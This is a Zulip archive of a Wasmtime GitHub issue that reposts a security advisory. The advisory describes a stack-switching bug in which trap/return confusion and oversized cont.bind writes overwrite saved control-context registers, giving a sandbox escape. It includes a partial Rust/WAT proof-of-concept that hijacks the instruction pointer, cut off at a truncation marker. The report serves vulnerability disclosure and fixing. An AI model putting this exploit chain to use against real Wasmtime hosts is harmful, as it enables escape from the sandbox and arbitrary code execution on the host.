Stream: git-wasmtime

Topic: wasmtime / issue #13028 Stack-switching crash with traps ...


view this post on Zulip Wasmtime GitHub notifications bot (Apr 09 2026 at 20:58):

alexcrichton opened issue #13028:

Note: the following is a paste of https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-4pww-gw9q-vvvh which @k3mmio opened initially as a security advisory on Wasmtime. Stack-switching is not tier 1 at this time, however, so I'm reopening that bug report as an issue here in public instead. The advisory is now closed and this is a copy of the contents there.

Continuation Control-Context Overwrite Reaches Arbitrary Native Control-Flow Redirection (Sandbox Escape)

Executive Summary

The original issue is that a trapped continuation start can be misclassified as a normal return. That lets stale bits escape as if they were legitimate return values. Those stale bits are reused as a fresh continuation token, reinterpreted as a wider continuation type, and then used with oversized cont.bind payloads to overwrite the saved control-context words on the continuation stack. A later resume loads those overwritten words and jumps through the overwritten saved RIP.

Validated environment:

Background

Continuations and resume

Wasmtime's stack-switching support implements continuations for Wasm. A continuation is created with cont.new and later entered with resume. Each continuation has:

That saved control context is the native state that stack_switch restores when execution returns to a continuation.

VMContRef, payload buffers, and the saved control context

The runtime representation is VMContRef. Two parts matter here:

For fresh continuations, the args buffer is allocated directly below the saved control-context words at the top of stack. Wasmtime's own layout comment in stack/unix.rs describes that arrangement:

top of stack
  saved RIP
  saved RBP
  saved RSP
  args_capacity
  args buffer

That adjacency is why any oversized payload write into the fresh continuation's argument area is immediately security-relevant.

cont.bind

cont.bind exists to pre-apply arguments to a continuation before a later resume. In the normal case that is fine. In the affected lane, it becomes dangerous because it writes payload values into the continuation storage area before the continuation runs again.

stack_switch on x64

On x64, Cranelift's stack_switch lowering restores rsp, rbp, and rip from the continuation control context and then jumps to the loaded program counter. The relevant logic is straightforward:

exchange(rsp_offset, regs::rsp());
exchange(rbp_offset, regs::rbp());

let addr = SyntheticAmode::real(Amode::imm_reg(pc_offset, **load_context_ptr));
asm::inst::movq_rm::new(tmp1, addr).emit(sink, info, state);
...
asm::inst::jmpq_m::new(tmp1.to_reg()).emit(sink, info, state);

If the saved control-context words are attacker-controlled, native control flow is attacker-controlled.

Root Cause

Sandbox escape requires two problems to line up.

1. Trap/return confusion at continuation start

The first issue is the already confirmed continuation-start bug.

In fiber_start, the boolean success/failure result from VMFuncRef::array_call is ignored:

VMFuncRef::array_call(func_ref, None, caller_vmxtx, params_and_returns);
args.length = return_value_count;

The x86_64 continuation trampoline then unconditionally reports an ordinary return:

call {fiber_start}
mov rdi, 0
jmp rsi

Together these reclassify a trap as a normal return and leave stale bits in a position where later code trusts them.

2. Oversized payload writes into the fresh continuation stack

The second issue is that continuation payload writes can exceed the fresh continuation's originally allocated argument capacity.

The relevant compiler helper increments length and computes a write pointer, but does not visibly enforce new_length <= capacity in the path that stores continuation payloads:

pub fn occupy_next_slots<'a>(
    &self,
    env: &mut crate::func_environ::FuncEnvironment<'a>,
    builder: &mut FunctionBuilder,
    arg_count: i32,
) -> ir::Value {
    let data = self.get_data(env, builder);
    let original_length = self.get_length(env, builder);
    let new_length = builder.ins().iadd_imm(original_length, i64::from(arg_count));
    self.set_length(env, builder, new_length);
    ...
    builder.ins().iadd(data, byte_offset)
}

In the affected lane, a stale live continuation token is reintroduced as a wider continuation type and cont.bind writes three payload slots into a fresh continuation whose original args_capacity is only one slot. Because the fresh args buffer sits directly below the saved control context, the oversized write reaches:

End-to-End Impact Chain

  1. Guest code creates a fresh continuation with a small argument/return footprint.
  2. The continuation start traps before producing a legitimate return.
  3. The trap/return confusion bug leaks stale bits as if they were a valid return value.
  4. Those bits are reused as a live continuation token.
  5. The token is reinterpreted as a wider continuation type.
  6. cont.bind writes oversized payloads into the fresh continuation's argument area.
  7. Those payloads overwrite the saved control-context words at the top of the continuation stack.
  8. A later plain resume reaches Cranelift's x64 stack_switch path.
  9. stack_switch loads rsp, rbp, and rip from the overwritten control context.
  10. Native control flow transfers to the overwritten saved RIP.

Proof of Impact

The current bundle uses two files together:

POC

#![cfg(all(unix, target_arch = "x86_64"))]

use std::env;
use std::process::Command;
use wasmtime::*;

#[cfg(unix)]
use std::os::unix::process::ExitStatusExt;


const CHILD_ENV: &str = "WASMTIME_CONTINUATION_ARBITRARY_RIP_CHILD";
const RBP_FILL: i64 = 0x1337_1337_1337_1337;
const CHOSEN_EXIT_CODE: i32 = 213;
const TARGET_MARKER: &[u8] = b"chosen_rip_target_hit\n";

#[inline(never)]
extern "C" fn chosen_rip_target() -> ! {
    unsafe {
        let _ = libc::write(
            libc::STDERR_FILENO,
            TARGET_MARKER.as_ptr().cast(),
            TARGET_MARKER.len(),
        );
        libc::_exit(CHOSEN_EXIT_CODE);
    }
}

fn configured_engine() -> Result<Engine> {
    let mut config = Config::new();
    config.strategy(Strategy::Cranelift);
    config
        .wasm_gc(true)
        .wasm_simd(true)
        .wasm_function_references(true)
        .wasm_exceptions(true)
        .wasm_stack_switching(true);
    Engine::new(&config)
}

fn module_text(chosen_rip: i64) -> String {
    format!(
        r#"
        (module
          (type $victim-ft (func (result i32)))
          (type $victim-ct (cont $victim-ft))

          (type $leak-ft-start (func (param (ref null $victim-ct)) (result i64)))
          (type $leak-ft-suspended (func (result i64)))
          (type $leak-ct-start (cont $leak-ft-start))
          (type $leak-ct-suspended (cont $leak-ft-suspended))

          (type $wide-ft-start (func (param i64 i64 v128) (result i32)))
          (type $wide-ft-bound (func (result i32)))
          (type $wide-ct-start (cont $wide-ft-start))
          (type $wide-ct-bound (cont $wide-ft-bound))

          (type $reinj-ft-start (func (param i64) (result (ref null $wide-ct-start))))
          (type $reinj-ft-suspended (func (result (ref null $wide-ct-start))))
          (type $reinj-ct-start (cont $reinj-ft-start))
          (type $reinj-ct-suspended (cont $reinj-ft-suspended))

          (type $tag-ft (func))
          (tag $t (type $tag-ft))

          (global $g (mut (ref null $wide-ct-bound)) (ref.null $wide-ct-bound))

          (func $victim (type $victim-ft) (result i32)
            i32.const 305419896
          )

          (func $trapper_leak (type $leak-ft-start)
                (param (ref null $victim-ct)) (result i64)
            unreachable
          )

          (func $trapper_reinj (type $reinj-ft-start)
                (param i64) (result (ref null $wide-ct-start))
            unreachable
          )

          (elem declare func $victim $trapper_leak $trapper_reinj)

          (func (export "leak_token") (result i64)
            (local $victim_cont (ref null $victim-ct))
            (local $leaker (ref null $leak-ct-start))

            (local.set $victim_cont (cont.new $victim-ct (ref.func $victim)))
            (local.set $leaker (cont.new $leak-ct-start (ref.func $trapper_leak)))

            (block $h (result (ref null $leak-ct-suspended))
              (resume $leak-ct-start
                (on $t $h)
                (local.get $victim_cont)
                (local.get $leaker))
              return
              (ref.null $leak-ct-suspended)
            )

            drop
            i64.const -1
          )

          (func (export "bind_overflow_into_global") (param i64)
            (local $reinj (ref null $reinj-ct-start))
            (local $forged (ref null $wide-ct-start))
            (local $bound (ref null $wide-ct-bound))

            (local.set $reinj (cont.new $reinj-ct-start (ref.func $trapper_reinj)))

            (block $h0 (result (ref null $reinj-ct-suspended))
              (local.set $forged
                (resume $reinj-ct-start
                  (on $t $h0)
                  (local.get 0)
                  (loc
[message truncated]

view this post on Zulip Wasmtime GitHub notifications bot (Apr 09 2026 at 20:58):

alexcrichton added the wasm-proposal:stack-switching label to Issue #13028.


Last updated: Apr 12 2026 at 23:10 UTC